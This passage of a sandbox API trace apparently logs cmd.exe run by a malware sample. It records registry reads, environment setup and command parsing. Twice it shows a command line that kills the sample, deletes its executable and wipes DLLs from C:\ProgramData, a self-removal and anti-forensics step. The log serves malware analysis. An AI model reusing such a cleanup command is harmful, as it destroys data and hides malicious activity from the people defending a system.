hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ee7c | out: phkResult=0x19ee7c*=0x94) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x49, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x0, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.898] RegCloseKey (hKey=0x94) returned 0x0 [0113.898] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ee7c | out: phkResult=0x19ee7c*=0x94) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.898] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x0, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.899] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.899] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x4) returned 0x0 [0113.899] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x1000) returned 0x2 [0113.899] RegCloseKey (hKey=0x94) returned 0x0 [0113.899] time (in: timer=0x0 | out: timer=0x0) returned 0x6151f211 [0113.899] srand (_Seed=0x6151f211) [0113.899] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" & del C:\\ProgramData\\*.dll & exit" [0113.899] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" & del C:\\ProgramData\\*.dll & exit" [0113.899] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xb77720 | out: lpBuffer="C:\\ProgramData") returned 0xe [0113.900] GetProcessHeap () returned 0x550000 [0113.900] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x5580e8 [0113.900] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5580f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0113.900] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0113.900] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0113.900] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0113.900] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0113.900] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0113.900] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0113.900] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0113.901] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0113.901] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0113.901] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0113.901] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0113.901] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0113.901] GetProcessHeap () returned 0x550000 [0113.901] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x558bc0) returned 1 [0113.901] GetEnvironmentStringsW () returned 0x558300* [0113.901] GetProcessHeap () returned 0x550000 [0113.901] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xae4) returned 0x55ac60 [0113.901] FreeEnvironmentStringsA (penv="A") returned 1 [0113.901] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x1b [0113.901] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0113.901] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0113.901] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0113.901] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0113.901] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0113.901] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0113.901] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0113.902] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0113.902] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0113.902] GetProcessHeap () returned 0x550000 [0113.902] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x26) returned 0x550578 [0113.902] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19fc54 | out: lpBuffer="C:\\ProgramData") returned 0xe [0113.902] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x19fc54, lpFilePart=0x19fc4c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19fc4c*="ProgramData") returned 0xe [0113.902] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0113.902] FindFirstFileW (in: lpFileName="C:\\ProgramData", lpFindFileData=0x19f9d0 | out: lpFindFileData=0x19f9d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3260ba00, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x3260ba00, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x55b750 [0113.903] FindClose (in: hFindFile=0x55b750 | out: hFindFile=0x55b750) returned 1 [0113.903] _wcsnicmp (_String1="PROGRA~3", _String2="ProgramData", _MaxCount=0xb) returned 17 [0113.903] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0113.903] SetCurrentDirectoryW (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0113.903] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\ProgramData") returned 1 [0113.903] GetProcessHeap () returned 0x550000 [0113.903] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55ac60) returned 1 [0113.903] GetEnvironmentStringsW () returned 0x55a170* [0113.903] GetProcessHeap () returned 0x550000 [0113.903] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb0a) returned 0x55ac88 [0113.903] FreeEnvironmentStringsA (penv="=") returned 1 [0113.903] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xb77720 | out: lpBuffer="C:\\ProgramData") returned 0xe [0113.903] GetProcessHeap () returned 0x550000 [0113.903] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x550578) returned 1 [0113.903] GetProcessHeap () returned 0x550000 [0113.903] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x400e) returned 0x55b7a0 [0113.904] GetProcessHeap () returned 0x550000 [0113.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1fa) returned 0x558e18 [0113.904] GetProcessHeap () returned 0x550000 [0113.904] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b7a0) returned 1 [0113.904] GetConsoleOutputCP () returned 0x1b5 [0113.905] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb6f460 | out: lpCPInfo=0xb6f460) returned 1 [0113.905] GetUserDefaultLCID () returned 0x409 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb734a0, cchData=8 | out: lpLCData=":") returned 2 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fd84, cchData=128 | out: lpLCData="0") returned 2 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19fd84, cchData=128 | out: lpLCData="0") returned 2 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19fd84, cchData=128 | out: lpLCData="1") returned 2 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb734b0, cchData=8 | out: lpLCData="/") returned 2 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb73500, cchData=32 | out: lpLCData="Mon") returned 4 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb73540, cchData=32 | out: lpLCData="Tue") returned 4 [0113.906] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb73580, cchData=32 | out: lpLCData="Wed") returned 4 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb735c0, cchData=32 | out: lpLCData="Thu") returned 4 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb73600, cchData=32 | out: lpLCData="Fri") returned 4 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb73640, cchData=32 | out: lpLCData="Sat") returned 4 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb73680, cchData=32 | out: lpLCData="Sun") returned 4 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb734c0, cchData=8 | out: lpLCData=".") returned 2 [0113.907] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb734e0, cchData=8 | out: lpLCData=",") returned 2 [0113.907] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0113.909] GetProcessHeap () returned 0x550000 [0113.909] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20c) returned 0x559068 [0113.909] GetConsoleTitleW (in: lpConsoleTitle=0x559068, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0113.909] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0113.909] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileExW") returned 0x7466ffc0 [0113.909] GetProcAddress (hModule=0x74650000, lpProcName="IsDebuggerPresent") returned 0x7466b0b0 [0113.909] GetProcAddress (hModule=0x74650000, lpProcName="SetConsoleInputExeNameW") returned 0x75f9b440 [0113.910] GetProcessHeap () returned 0x550000 [0113.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x400a) returned 0x55b7a0 [0113.910] GetProcessHeap () returned 0x550000 [0113.910] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b7a0) returned 1 [0113.910] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0113.910] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0113.910] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0113.910] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0113.911] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0113.911] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0113.911] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0113.911] GetProcessHeap () returned 0x550000 [0113.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x559280 [0113.911] GetProcessHeap () returned 0x550000 [0113.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1a) returned 0x550578 [0113.914] GetProcessHeap () returned 0x550000 [0113.914] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xa4) returned 0x5592e0 [0113.915] GetProcessHeap () returned 0x550000 [0113.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x559390 [0113.915] _wcsicmp (_String1="timeout", _String2=")") returned 75 [0113.915] _wcsicmp (_String1="FOR", _String2="timeout") returned -14 [0113.915] _wcsicmp (_String1="FOR/?", _String2="timeout") returned -14 [0113.915] _wcsicmp (_String1="IF", _String2="timeout") returned -11 [0113.916] _wcsicmp (_String1="IF/?", _String2="timeout") returned -11 [0113.916] _wcsicmp (_String1="REM", _String2="timeout") returned -2 [0113.916] _wcsicmp (_String1="REM/?", _String2="timeout") returned -2 [0113.916] GetProcessHeap () returned 0x550000 [0113.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x5593f0 [0113.916] GetProcessHeap () returned 0x550000 [0113.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x18) returned 0x557ad0 [0113.916] GetProcessHeap () returned 0x550000 [0113.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x16) returned 0x557bd0 [0113.916] GetProcessHeap () returned 0x550000 [0113.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x559450 [0113.917] _wcsicmp (_String1="del", _String2=")") returned 59 [0113.917] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0113.917] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0113.917] _wcsicmp (_String1="IF", _String2="del") returned 5 [0113.917] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0113.917] _wcsicmp (_String1="REM", _String2="del") returned 14 [0113.917] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0113.917] GetProcessHeap () returned 0x550000 [0113.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x5594b0 [0113.917] GetProcessHeap () returned 0x550000 [0113.917] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x559510 [0113.921] GetProcessHeap () returned 0x550000 [0113.921] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe2) returned 0x559528 [0113.922] GetProcessHeap () returned 0x550000 [0113.922] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x559618 [0113.922] _wcsicmp (_String1="del", _String2=")") returned 59 [0113.922] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0113.922] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0113.923] _wcsicmp (_String1="IF", _String2="del") returned 5 [0113.923] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0113.923] _wcsicmp (_String1="REM", _String2="del") returned 14 [0113.923] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0113.923] GetProcessHeap () returned 0x550000 [0113.923] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x5505c8 [0113.923] GetProcessHeap () returned 0x550000 [0113.923] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x559678 [0113.923] GetProcessHeap () returned 0x550000 [0113.923] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x36) returned 0x550628 [0113.924] GetProcessHeap () returned 0x550000 [0113.924] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x550668 [0113.924] _wcsicmp (_String1="exit", _String2=")") returned 60 [0113.924] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0113.924] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0113.924] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0113.924] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0113.924] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0113.924] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0113.924] GetProcessHeap () returned 0x550000 [0113.924] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x58) returned 0x5506c8 [0113.924] GetProcessHeap () returned 0x550000 [0113.924] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x12) returned 0x5579d0 [0113.925] GetConsoleTitleW (in: lpConsoleTitle=0x19fa10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0113.926] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0113.926] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0113.926] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0113.926] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0113.926] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0113.926] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0113.926] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0113.926] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0113.926] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0113.926] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0113.926] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0113.926] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0113.926] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0113.926] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0113.926] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0113.926] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0113.926] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0113.926] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0113.926] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0113.926] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0113.926] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0113.926] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0113.927] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0113.927] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0113.927] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0113.927] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0113.927] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0113.927] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0113.927] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0113.927] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0113.927] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0113.927] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0113.927] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0113.927] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0113.927] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0113.927] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0113.927] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0113.927] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0113.927] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0113.927] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0113.927] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0113.927] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0113.927] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0113.927] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0113.927] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0113.927] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0113.927] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0113.927] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0113.927] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0113.927] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16 [0113.928] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8 [0113.928] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4 [0113.928] _wcsicmp (_String1="taskkill", _String2="MD") returned 7 [0113.928] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7 [0113.928] _wcsicmp (_String1="taskkill", _String2="RD") returned 2 [0113.928] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2 [0113.928] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4 [0113.928] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13 [0113.928] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1 [0113.928] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17 [0113.928] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17 [0113.928] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2 [0113.928] _wcsicmp (_String1="taskkill", _String2="VER") returned -2 [0113.928] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2 [0113.928] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15 [0113.928] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1 [0113.928] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15 [0113.928] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8 [0113.928] _wcsicmp (_String1="taskkill", _String2="START") returned 1 [0113.928] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16 [0113.928] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9 [0113.928] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7 [0113.928] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4 [0113.928] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4 [0113.928] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19 [0113.928] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14 [0113.928] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18 [0113.928] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17 [0113.928] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7 [0113.928] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14 [0113.928] _wcsicmp (_String1="taskkill", _String2="IF") returned 11 [0113.928] _wcsicmp (_String1="taskkill", _String2="REM") returned 2 [0113.929] GetProcessHeap () returned 0x550000 [0113.929] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x210) returned 0x550728 [0113.929] GetProcessHeap () returned 0x550000 [0113.929] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb6) returned 0x550940 [0113.929] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17 [0113.929] GetProcessHeap () returned 0x550000 [0113.929] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x418) returned 0x550a00 [0113.929] SetErrorMode (uMode=0x0) returned 0x0 [0113.929] SetErrorMode (uMode=0x1) returned 0x0 [0113.929] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x550a08, lpFilePart=0x19f51c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19f51c*="ProgramData") returned 0xe [0113.929] SetErrorMode (uMode=0x0) returned 0x1 [0113.930] GetProcessHeap () returned 0x550000 [0113.930] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x550a00, Size=0x38) returned 0x550a00 [0113.930] GetProcessHeap () returned 0x550000 [0113.930] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x550a00) returned 0x38 [0113.930] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0113.930] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0113.930] GetProcessHeap () returned 0x550000 [0113.930] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xf2) returned 0x550a40 [0113.930] GetProcessHeap () returned 0x550000 [0113.930] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1dc) returned 0x550b40 [0113.934] GetProcessHeap () returned 0x550000 [0113.934] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x550b40, Size=0xf4) returned 0x550b40 [0113.934] GetProcessHeap () returned 0x550000 [0113.934] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x550b40) returned 0xf4 [0113.934] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb6f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0113.934] GetProcessHeap () returned 0x550000 [0113.934] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe0) returned 0x550c40 [0113.934] GetProcessHeap () returned 0x550000 [0113.934] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x550c40, Size=0x76) returned 0x550c40 [0113.934] GetProcessHeap () returned 0x550000 [0113.934] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x550c40) returned 0x76 [0113.934] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.935] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x19f2a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f2a8) returned 0xffffffff [0113.935] GetLastError () returned 